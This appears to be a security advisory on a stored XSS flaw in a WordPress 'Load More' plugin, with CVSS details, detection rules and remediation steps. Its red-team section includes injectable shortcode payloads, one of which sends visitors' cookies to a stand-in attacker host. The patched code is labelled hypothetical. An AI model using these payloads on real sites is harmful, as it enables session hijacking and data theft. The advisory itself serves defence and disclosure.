CVE-2025-4775

Executive Summary

CVE-2025-4775 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress Infinite Scroll – Ajax Load More plugin, affecting all versions up to and including 7.4.0.1. The flaw resides in insufficient sanitization of the data-button-label HTML attribute, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact due to the stored nature of the attack.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the stored nature of the XSS, which can affect multiple users without requiring direct interaction with the attacker.

Deep Dive & Mechanics

The vulnerability exists in the Ajax Load More plugin's handling of the data-button-label attribute. When rendering the "Load More" button, the plugin fails to properly sanitize and escape user-supplied input for this attribute. An authenticated attacker with Contributor-level access can craft a post or page containing a malicious data-button-label value, such as:

<div class="ajax-load-more" data-button-label="<script>alert('XSS')</script>"></div>

When the page is rendered, the unsanitized attribute is injected into the DOM, causing the script to execute. The attack is stored because the malicious content persists in the database and is served to all visitors.

The root cause is insufficient input validation and output escaping in the plugin's shortcode or block rendering functions. The plugin likely uses echo or print without applying WordPress's esc_attr() or wp_kses() functions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 7.4.0.1):

// In a rendering function
echo '<div class="ajax-load-more" data-button-label="' . $button_label . '"></div>';

Patched Code (Hypothetical):

// Properly escaped
echo '<div class="ajax-load-more" data-button-label="' . esc_attr($button_label) . '"></div>';

The patched version would use esc_attr() to HTML-encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Prerequisites: Authenticated WordPress account with Contributor-level access or higher.

2. Steps:

   • Create a new post or page.
   • In the HTML editor, insert a shortcode or block that uses the data-button-label attribute.
   • Inject a malicious payload, e.g.:

     [ajax_load_more button_label="<script>alert(document.cookie)</script>"]
     

   • Publish the post.
   • When any user visits the post, the script executes.

3. Advanced Payload: Steal session cookies:

   [ajax_load_more button_label="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

Blue Team

1. Detection: Monitor for posts/pages containing suspicious HTML attributes, especially data-button-label with script tags.
2. Hunting: Search the database for patterns like data-button-label="<script or data-button-label="<img.
3. Containment: If exploitation is suspected, disable the Ajax Load More plugin immediately and review recent posts by Contributor-level users.

Indicators of Compromise (IOCs)

• File Hashes: (None available; plugin files may be modified)
• Network Indicators: Outbound HTTP requests to attacker-controlled domains from WordPress admin or frontend.
• Log Entries: Unusual post content containing data-button-label with script tags.
• Database Indicators: Rows in wp_posts or wp_postmeta containing data-button-label with HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_4775_Ajax_Load_More_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Ajax Load More plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-4775"
    strings:
        $payload1 = /data-button-label\s*=\s*["'][^"']*<script[^>]*>/i
        $payload2 = /data-button-label\s*=\s*["'][^"']*<img[^>]*onerror/i
        $payload3 = /data-button-label\s*=\s*["'][^"']*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Ajax Load More Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts using Ajax Load More plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-json/wp/v2/posts"
        http.body|contains: "data-button-label"
    condition: selection
falsepositives:
    - Legitimate use of the attribute with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4775 Stored XSS in Ajax Load More"; flow:to_server,established; content:"data-button-label"; http_client_body; pcre:"/data-button-label\s*=\s*["'][^"']*<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Ajax Load More plugin until a patch is available.
2. Short-term: Restrict Contributor-level accounts to trusted users only. Implement a Web Application Firewall (WAF) rule to block requests containing data-button-label with script tags.
3. Long-term: Apply the vendor patch when released. Alternatively, manually patch the plugin by adding esc_attr() to the vulnerable attribute in the plugin's source code.
4. Monitoring: Continuously monitor for exploitation attempts using the provided detection rules.

Valters IT